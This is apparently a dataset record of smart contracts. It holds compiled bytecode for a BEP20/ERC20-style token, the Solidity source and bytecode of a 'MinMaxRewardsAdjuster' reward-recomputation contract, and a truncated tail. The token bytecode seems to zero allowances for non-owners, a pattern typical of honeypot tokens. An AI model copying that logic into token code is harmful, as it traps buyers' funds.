ffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b087b9c5912a2b5a04e2a85cbf7389a094516c3d27c07a6a62b77d4bec011bb964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,648
0x86eba7b7daafec537a2357f8a3a46026af5cb7ba
pragma solidity 0.6.7; abstract contract StabilityFeeTreasuryLike { function getAllowance(address) virtual public view returns (uint256, uint256); function setPerBlockAllowance(address, uint256) virtual external; } abstract contract TreasuryFundableLike { function authorizedAccounts(address) virtual public view returns (uint256); function baseUpdateCallerReward() virtual public view returns (uint256); function maxUpdateCallerReward() virtual public view returns (uint256); function modifyParameters(bytes32, uint256) virtual external; } abstract contract TreasuryParamAdjusterLike { function adjustMaxReward(address receiver, bytes4 targetFunctionSignature, uint256 newMaxReward) virtual external; } abstract contract OracleLike { function read() virtual external view returns (uint256); } abstract contract OracleRelayerLike { function redemptionPrice() virtual public returns (uint256); } contract MinMaxRewardsAdjuster { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "MinMaxRewardsAdjuster/account-not-authorized"); _; } // --- Structs --- struct FundingReceiver { // Last timestamp when the funding receiver data was updated uint256 lastUpdateTime; // [unix timestamp] // Gas amount used to execute this funded function uint256 gasAmountForExecution; // [gas amount] // Delay between two calls to recompute the fees for this funded function uint256 updateDelay; // [seconds] // Multiplier applied to the computed base reward uint256 baseRewardMultiplier; // [hundred] // Multiplied applied to the computed max reward uint256 maxRewardMultiplier; // [hundred] } // --- Variables --- // Data about funding receivers mapping(address => mapping(bytes4 => FundingReceiver)) public fundingReceivers; // The gas price oracle OracleLike public gasPriceOracle; // The ETH oracle OracleLike public ethPriceOracle; // The contract that adjusts SF treasury parameters and needs to be updated with max rewards for each funding receiver TreasuryParamAdjusterLike public treasuryParamAdjuster; // The oracle relayer contract OracleRelayerLike public oracleRelayer; // The SF treasury contract StabilityFeeTreasuryLike public treasury; // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters(bytes32 parameter, address addr); event ModifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val); event AddFundingReceiver( address indexed receiver, bytes4 targetFunctionSignature, uint256 updateDelay, uint256 gasAmountForExecution, uint256 baseRewardMultiplier, uint256 maxRewardMultiplier ); event RemoveFundingReceiver(address indexed receiver, bytes4 targetFunctionSignature); event RecomputedRewards(address receiver, uint256 newBaseReward, uint256 newMaxReward); constructor( address oracleRelayer_, address treasury_, address gasPriceOracle_, address ethPriceOracle_, address treasuryParamAdjuster_ ) public { // Checks require(oracleRelayer_ != address(0), "MinMaxRewardsAdjuster/null-oracle-relayer"); require(treasury_ != address(0), "MinMaxRewardsAdjuster/null-treasury"); require(gasPriceOracle_ != address(0), "MinMaxRewardsAdjuster/null-gas-oracle"); require(ethPriceOracle_ != address(0), "MinMaxRewardsAdjuster/null-eth-oracle"); require(treasuryParamAdjuster_ != address(0), "MinMaxRewardsAdjuster/null-treasury-adjuster"); authorizedAccounts[msg.sender] = 1; // Store oracleRelayer = OracleRelayerLike(oracleRelayer_); treasury = StabilityFeeTreasuryLike(treasury_); gasPriceOracle = OracleLike(gasPriceOracle_); ethPriceOracle = OracleLike(ethPriceOracle_); treasuryParamAdjuster = TreasuryParamAdjusterLike(treasuryParamAdjuster_); // Check that the oracle relayer has a redemption price stored oracleRelayer.redemptionPrice(); // Emit events emit ModifyParameters("treasury", treasury_); emit ModifyParameters("oracleRelayer", oracleRelayer_); emit ModifyParameters("gasPriceOracle", gasPriceOracle_); emit ModifyParameters("ethPriceOracle", ethPriceOracle_); emit ModifyParameters("treasuryParamAdjuster", treasuryParamAdjuster_); } // --- Boolean Logic --- function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Math --- uint256 public constant WAD = 10**18; uint256 public constant RAY = 10**27; uint256 public constant HUNDRED = 100; uint256 public constant THOUSAND = 1000; function addition(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "MinMaxRewardsAdjuster/add-uint-uint-overflow"); } function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "MinMaxRewardsAdjuster/sub-uint-uint-underflow"); } function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "MinMaxRewardsAdjuster/multiply-uint-uint-overflow"); } function divide(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y > 0, "MinMaxRewardsAdjuster/div-y-null"); z = x / y; require(z <= x, "MinMaxRewardsAdjuster/div-invalid"); } // --- Administration --- /* * @notify Update the address of a contract that this adjuster is connected to * @param parameter The name of the contract to update the address for * @param addr The new contract address */ function modifyParameters(bytes32 parameter, address addr) external isAuthorized { require(addr != address(0), "MinMaxRewardsAdjuster/null-address"); if (parameter == "oracleRelayer") { oracleRelayer = OracleRelayerLike(addr); oracleRelayer.redemptionPrice(); } else if (parameter == "treasury") { treasury = StabilityFeeTreasuryLike(addr); } else if (parameter == "gasPriceOracle") { gasPriceOracle = OracleLike(addr); } else if (parameter == "ethPriceOracle") { ethPriceOracle = OracleLike(addr); } else if (parameter == "treasuryParamAdjuster") { treasuryParamAdjuster = TreasuryParamAdjusterLike(addr); } else revert("MinMaxRewardsAdjuster/modify-unrecognized-params"); emit ModifyParameters(parameter, addr); } /* * @notify Change a parameter for a funding receiver * @param receiver The address of the funding receiver * @param targetFunction The function whose callers receive funding for calling * @param parameter The name of the parameter to change * @param val The new parameter value */ function modifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val) external isAuthorized { require(val > 0, "MinMaxRewardsAdjuster/null-value"); FundingReceiver storage fundingReceiver = fundingReceivers[receiver][targetFunction]; require(fundingReceiver.lastUpdateTime > 0, "MinMaxRewardsAdjuster/non-existent-receiver"); if (parameter == "gasAmountForExecution") { require(val < block.gaslimit, "MinMaxRewardsAdjuster/invalid-gas-amount-for-exec"); fundingReceiver.gasAmountForExecution = val; } else if (parameter == "updateDelay") { fundingReceiver.updateDelay = val; } else if (parameter == "baseRewardMultiplier") { require(both(val >= HUNDRED, val <= THOUSAND), "MinMaxRewardsAdjuster/invalid-base-reward-multiplier"); require(val <= fundingReceiver.maxRewardMultiplier, "MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul"); fundingReceiver.baseRewardMultiplier = val; } else if (parameter == "maxRewardMultiplier") { require(both(val >= HUNDRED, val <= THOUSAND), "MinMaxRewardsAdjuster/invalid-max-reward-multiplier"); require(val >= fundingReceiver.baseRewardMultiplier, "MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul"); fundingReceiver.maxRewardMultiplier = val; } else revert("MinMaxRewardsAdjuster/modify-unrecognized-params"); emit ModifyParameters(receiver, targetFunction, parameter, val); } /* * @notify Add a new funding receiver * @param receiver The funding receiver address * @param targetFunctionSignature The signature of the function whose callers get funding * @param updateDelay The update delay between two consecutive calls that update the base and max rewards for this receiver * @param gasAmountForExecution The gas amount spent calling the function with signature targetFunctionSignature * @param baseRewardMultiplier Multiplier applied to the computed base reward * @param maxRewardMultiplier Multiplied applied to the computed max reward */ function addFundingReceiver( address receiver, bytes4 targetFunctionSignature, uint256 updateDelay, uint256 gasAmountForExecution, uint256 baseRewardMultiplier, uint256 maxRewardMultiplier ) external isAuthorized { // Checks require(receiver != address(0), "MinMaxRewardsAdjuster/null-receiver"); require(updateDelay > 0, "MinMaxRewardsAdjuster/null-update-delay"); require(both(baseRewardMultiplier >= HUNDRED, baseRewardMultiplier <= THOUSAND), "MinMaxRewardsAdjuster/invalid-base-reward-multiplier"); require(both(maxRewardMultiplier >= HUNDRED, maxRewardMultiplier <= THOUSAND), "MinMaxRewardsAdjuster/invalid-max-reward-multiplier"); require(maxRewardMultiplier >= baseRewardMultiplier, "MinMaxRewardsAdjuster/max-mul-smaller-than-min-mul"); require(gasAmountForExecution > 0, "MinMaxRewardsAdjuster/null-gas-amount"); require(gasAmountForExecution < block.gaslimit, "MinMaxRewardsAdjuster/large-gas-amount-for-exec"); // Check that the receiver hasn't been already added FundingReceiver storage newReceiver = fundingReceivers[receiver][targetFunctionSignature]; require(newReceiver.lastUpdateTime == 0, "MinMaxRewardsAdjuster/receiver-already-added"); // Add the receiver's data newReceiver.lastUpdateTime = now; newReceiver.updateDelay = updateDelay; newReceiver.gasAmountForExecution = gasAmountForExecution; newReceiver.baseRewardMultiplier = baseRewardMultiplier; newReceiver.maxRewardMultiplier = maxRewardMultiplier; emit AddFundingReceiver( receiver, targetFunctionSignature, updateDelay, gasAmountForExecution, baseRewardMultiplier, maxRewardMultiplier ); } /* * @notify Remove an already added funding receiver * @param receiver The funding receiver address * @param targetFunctionSignature The signature of the function whose callers get funding */ function removeFundingReceiver(address receiver, bytes4 targetFunctionSignature) external isAuthorized { // Check that the receiver is still stored and then delete it require(fundingReceivers[receiver][targetFunctionSignature].lastUpdateTime > 0, "MinMaxRewardsAdjuster/non-existent-receiver"); delete(fundingReceivers[receiver][targetFunctionSignature]); emit RemoveFundingReceiver(receiver, targetFunctionSignature); } // --- Core Logic --- /* * @notify Recompute the base and max rewards for a specific funding receiver with a specific function offering funding * @param receiver The funding receiver address * @param targetFunctionSignature The signature of the function whose callers get funding */ function recomputeRewards(address receiver, bytes4 targetFunctionSignature) external { FundingReceiver storage targetReceiver = fundingReceivers[receiver][targetFunctionSignature]; require(both(targetReceiver.lastUpdateTime > 0, addition(targetReceiver.lastUpdateTime, targetReceiver.updateDelay) <= now), "MinMaxRewardsAdjuster/wait-more"); // Update last time targetReceiver.lastUpdateTime = now; // Read the gas and the ETH prices uint256 gasPrice = gasPriceOracle.read(); uint256 ethPrice = ethPriceOracle.read(); // Calculate the base fiat value uint256 baseRewardFiatValue = divide(multiply(multiply(gasPrice, targetReceiver.gasAmountForExecution), ethPrice), WAD); // Calculate the base reward expressed in system coins uint256 newBaseReward = divide(multiply(baseRewardFiatValue, RAY), oracleRelayer.redemptionPrice()); newBaseReward = divide(multiply(newBaseReward, targetReceiver.baseRewardMultiplier), HUNDRED); // Compute the new max reward and check both rewards uint256 newMaxReward = divide(multiply(newBaseReward, targetReceiver.maxRewardMultiplier), HUNDRED); require(both(newBaseReward > 0, newMaxReward > 0), "MinMaxRewardsAdjuster/null-new-rewards"); // Notify the treasury param adjuster about the new max reward treasuryParamAdjuster.adjustMaxReward(receiver, targetFunctionSignature, newMaxReward); // Approve the max reward in the treasury treasury.setPerBlockAllowance(receiver, multiply(newMaxReward, RAY)); // Set the new rewards inside the receiver contract if (TreasuryFundableLike(receiver).baseUpdateCallerReward() < newMaxReward) { TreasuryFundableLike(receiver).modifyParameters("maxUpdateCallerReward", newMaxReward); TreasuryFundableLike(receiver).modifyParameters("baseUpdateCallerReward", newBaseReward); } else { TreasuryFundableLike(receiver).modifyParameters("baseUpdateCallerReward", newBaseReward); TreasuryFundableLike(receiver).modifyParameters("maxUpdateCallerReward", newMaxReward); } emit RecomputedRewards(receiver, newBaseReward, newMaxReward); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80636f6dc5ae116100a257806394f3f81d1161007157806394f3f81d146102c8578063ac0e47f5146102ee578063b5424a7f146102f6578063de32b67d14610344578063f85fc0ab1461038657610116565b80636f6dc5ae1461027a578063749288ba14610282578063851cad901461028a578063900dc6ff1461029257610116565b8063552033c4116100e9578063552033c41461020057806361d027b3146102085780636614f010146102105780636a1460241461023c5780636c64a3481461024457610116565b8063017a10fa1461011b57806324ba58841461017c57806335b28153146101b45780634faf61ab146101dc575b600080fd5b6101516004803603604081101561013157600080fd5b5080356001600160a01b031690602001356001600160e01b03191661038e565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101a26004803603602081101561019257600080fd5b50356001600160a01b03166103c4565b60408051918252519081900360200190f35b6101da600480360360208110156101ca57600080fd5b50356001600160a01b03166103d6565b005b6101e4610476565b604080516001600160a01b039092168252519081900360200190f35b6101a2610485565b6101e4610495565b6101da6004803603604081101561022657600080fd5b50803590602001356001600160a01b03166104a4565b6101a2610742565b6101da6004803603604081101561025a57600080fd5b5080356001600160a01b031690602001356001600160e01b03191661074e565b6101e4610df5565b6101e4610e04565b6101a2610e13565b6101da600480360360408110156102a857600080fd5b5080356001600160a01b031690602001356001600160e01b031916610e19565b6101da600480360360208110156102de57600080fd5b50356001600160a01b0316610f55565b6101e4610ff4565b6101da600480360360c081101561030c57600080fd5b506001600160a01b03813516906001600160e01b03196020820135169060408101359060608101359060808101359060a00135611003565b6101da6004803603608081101561035a57600080fd5b506001600160a01b03813516906001600160e01b03196020820135169060408101359060600135611324565b6101a2611690565b60016020818152600093845260408085209091529183529120805491810154600282015460038301546004909301549192909185565b60006020819052908152604090205481565b336000908152602081905260409020546001146104245760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b6005546001600160a01b031681565b6b033b2e3c9fd0803ce800000081565b6006546001600160a01b031681565b336000908152602081905260409020546001146104f25760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b6001600160a01b0381166105375760405162461bcd60e51b81526004018080602001828103825260228152602001806118336022913960400191505060405180910390fd5b816c37b930b1b632a932b630bcb2b960991b14156105df57600580546001600160a01b0319166001600160a01b03838116919091179182905560408051630316dd2360e61b81529051929091169163c5b748c0916004808201926020929091908290030181600087803b1580156105ad57600080fd5b505af11580156105c1573d6000803e3d6000fd5b505050506040513d60208110156105d757600080fd5b506106fb9050565b8167747265617375727960c01b141561061257600680546001600160a01b0319166001600160a01b0383161790556106fb565b816d67617350726963654f7261636c6560901b141561064b57600280546001600160a01b0319166001600160a01b0383161790556106fb565b816d65746850726963654f7261636c6560901b141561068457600380546001600160a01b0319166001600160a01b0383161790556106fb565b81743a3932b0b9bab93ca830b930b6a0b2353ab9ba32b960591b14156106c457600480546001600160a01b0319166001600160a01b0383161790556106fb565b60405162461bcd60e51b81526004018080602001828103825260308152602001806118886030913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b670de0b6b3a764000081565b6001600160a01b03821660009081526001602090815260408083206001600160e01b03198516845290915290208054600282015461079c9180151591429161079591611695565b11156116dd565b6107ed576040805162461bcd60e51b815260206004820152601f60248201527f4d696e4d61785265776172647341646a75737465722f776169742d6d6f726500604482015290519081900360640190fd5b428155600254604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561083557600080fd5b505afa158015610849573d6000803e3d6000fd5b505050506040513d602081101561085f57600080fd5b5051600354604080516315f789a960e21b815290519293506000926001600160a01b03909216916357de26a491600480820192602092909190829003018186803b1580156108ac57600080fd5b505afa1580156108c0573d6000803e3d6000fd5b505050506040513d60208110156108d657600080fd5b5051600184015490915060009061090a906108fc906108f69086906116e1565b846116e1565b670de0b6b3a7640000611737565b905060006109a8610927836b033b2e3c9fd0803ce80000006116e1565b600560009054906101000a90046001600160a01b03166001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561097757600080fd5b505af115801561098b573d6000803e3d6000fd5b505050506040513d60208110156109a157600080fd5b5051611737565b90506109c26109bb8287600301546116e1565b6064611737565b905060006109d76109bb8388600401546116e1565b90506109e960008311600083116116dd565b610a245760405162461bcd60e51b81526004018080602001828103825260268152602001806117d96026913960400191505060405180910390fd5b6004805460408051632346554960e01b81526001600160a01b038c8116948201949094526001600160e01b03198b166024820152604481018590529051929091169163234655499160648082019260009290919082900301818387803b158015610a8d57600080fd5b505af1158015610aa1573d6000803e3d6000fd5b50506006546001600160a01b03169150633d285a6f905089610acf846b033b2e3c9fd0803ce80000006116e1565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015610b1e57600080fd5b505af1158015610b32573d6000803e3d6000fd5b5050505080886001600160a01b0316631c1f908c6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7057600080fd5b505afa158015610b84573d6000803e3d6000fd5b505050506040513d6020811015610b9a57600080fd5b50511015610ca457876001600160a01b031663fe4f5890826040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b158015610c0857600080fd5b505af1158015610c1c573d6000803e3d6000fd5b50505050876001600160a01b031663fe4f5890836040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b158015610c8757600080fd5b505af1158015610c9b573d6000803e3d6000fd5b50505050610da2565b876001600160a01b031663fe4f5890836040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b158015610d0b57600080fd5b505af1158015610d1f573d6000803e3d6000fd5b50505050876001600160a01b031663fe4f5890826040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b158015610d8957600080fd5b505af1158015610d9d573d6000803e3d6000fd5b505050505b604080516001600160a01b038a1681526020810184905280820183905290517f29b645c65866941783ce7be60a8762da026db71b5438289e57ebf7cfed6cb2c19181900360600190a15050505050505050565b6002546001600160a01b031681565b6004546001600160a01b031681565b6103e881565b33600090815260208190526040902054600114610e675760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b6001600160a01b03821660009081526001602090815260408083206001600160e01b031985168452909152902054610ed05760405162461bcd60e51b815260040180806020018281038252602b815260200180611933602b913960400191505060405180910390fd5b6001600160a01b03821660008181526001602081815260408084206001600160e01b031987168086529083528185208581559384018590556002840185905560038401859055600490930193909355825191825291517f27deac06df27e6e639c18b3359e9805cd9834be10fa04c491c27cb5de28133ab929181900390910190a25050565b33600090815260208190526040902054600114610fa35760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b6003546001600160a01b031681565b336000908152602081905260409020546001146110515760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b6001600160a01b0386166110965760405162461bcd60e51b81526004018080602001828103825260238152602001806119106023913960400191505060405180910390fd5b600084116110d55760405162461bcd60e51b81526004018080602001828103825260278152602001806118b86027913960400191505060405180910390fd5b6110e860648310156103e88411156116dd565b6111235760405162461bcd60e51b81526004018080602001828103825260348152602001806117ff6034913960400191505060405180910390fd5b61113660648210156103e88311156116dd565b6111715760405162461bcd60e51b81526004018080602001828103825260338152602001806118556033913960400191505060405180910390fd5b818110156111b05760405162461bcd60e51b8152600401808060200182810382526032815260200180611a0c6032913960400191505060405180910390fd5b600083116111ef5760405162461bcd60e51b81526004018080602001828103825260258152602001806119e76025913960400191505060405180910390fd5b45831061122d5760405162461bcd60e51b815260040180806020018281038252602f815260200180611a6a602f913960400191505060405180910390fd5b6001600160a01b03861660009081526001602090815260408083206001600160e01b03198916845290915290208054156112985760405162461bcd60e51b815260040180806020018281038252602c81526020018061195e602c913960400191505060405180910390fd5b42815560028101859055600181018490556003810183905560048101829055604080516001600160e01b03198816815260208101879052808201869052606081018590526080810184905290516001600160a01b038916917f19035cbcac29754c5f06cc9447cb46cd2645d92be1bd34988c539da5aa245919919081900360a00190a250505050505050565b336000908152602081905260409020546001146113725760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b600081116113c7576040805162461bcd60e51b815260206004820181905260248201527f4d696e4d61785265776172647341646a75737465722f6e756c6c2d76616c7565604482015290519081900360640190fd5b6001600160a01b03841660009081526001602090815260408083206001600160e01b031987168452909152902080546114315760405162461bcd60e51b815260040180806020018281038252602b815260200180611933602b913960400191505060405180910390fd5b827433b0b9a0b6b7bab73a2337b922bc32b1baba34b7b760591b141561149b5745821061148f5760405162461bcd60e51b815260040180806020018281038252603181526020018061198a6031913960400191505060405180910390fd5b60018101829055611630565b826a75706461746544656c617960a81b14156114bd5760028101829055611630565b82733130b9b2a932bbb0b93226bab63a34b83634b2b960611b1415611579576114ef60648310156103e88411156116dd565b61152a5760405162461bcd60e51b81526004018080602001828103825260348152602001806117ff6034913960400191505060405180910390fd5b806004015482111561156d5760405162461bcd60e51b8152600401808060200182810382526032815260200180611a0c6032913960400191505060405180910390fd5b60038101829055611630565b827236b0bc2932bbb0b93226bab63a34b83634b2b960691b14156106c4576115aa60648310156103e88411156116dd565b6115e55760405162461bcd60e51b81526004018080602001828103825260338152602001806118556033913960400191505060405180910390fd5b80600301548210156116285760405162461bcd60e51b8152600401808060200182810382526032815260200180611a0c6032913960400191505060405180910390fd5b600481018290555b604080516001600160a01b03871681526001600160e01b0319861660208201528082018590526060810184905290517f88d1df549626311d5a3b057e3cf7f309557bf79aea71600180e6c8c2fe34d74b9181900360800190a15050505050565b606481565b808201828110156116d75760405162461bcd60e51b815260040180806020018281038252602c8152602001806119bb602c913960400191505060405180910390fd5b92915050565b1690565b60008115806116fc575050808202828282816116f957fe5b04145b6116d75760405162461bcd60e51b81526004018080602001828103825260318152602001806118df6031913960400191505060405180910390fd5b600080821161178d576040805162461bcd60e51b815260206004820181905260248201527f4d696e4d61785265776172647341646a75737465722f6469762d792d6e756c6c604482015290519081900360640190fd5b81838161179657fe5b049050828111156116d75760405162461bcd60e51b8152600401808060200182810382526021815260200180611a996021913960400191505060405180910390fdfe4d696e4d61785265776172647341646a75737465722f6e756c6c2d6e65772d726577617264734d696e4d61785265776172647341646a75737465722f696e76616c69642d626173652d7265776172642d6d756c7469706c6965724d696e4d61785265776172647341646a75737465722f6e756c6c2d616464726573734d696e4d61785265776172647341646a75737465722f696e76616c69642d6d61782d7265776172642d6d756c7469706c6965724d696e4d61785265776172647341646a75737465722f6d6f646966792d756e7265636f676e697a65642d706172616d734d696e4d61785265776172647341646a75737465722f6e756c6c2d7570646174652d64656c61794d696e4d61785265776172647341646a75737465722f6d756c7469706c792d75696e742d75696e742d6f766572666c6f774d696e4d61785265776172647341646a75737465722f6e756c6c2d72656365697665724d696e4d61785265776172647341646a75737465722f6e6f6e2d6578697374656e742d72656365697665724d696e4d61785265776172647341646a75737465722f72656365697665722d616c72656164792d61646465644d696e4d61785265776172647341646a75737465722f696e76616c69642d6761732d616d6f756e742d666f722d657865634d696e4d61785265776172647341646a75737465722f6164642d75696e742d75696e742d6f766572666c6f774d696e4d61785265776172647341646a75737465722f6e756c6c2d6761732d616d6f756e744d696e4d61785265776172647341646a75737465722f6d61782d6d756c2d736d616c6c65722d7468616e2d6d696e2d6d756c4d696e4d61785265776172647341646a75737465722f6163636f756e742d6e6f742d617574686f72697a65644d696e4d61785265776172647341646a75737465722f6c617267652d6761732d616d6f756e742d666f722d657865634d69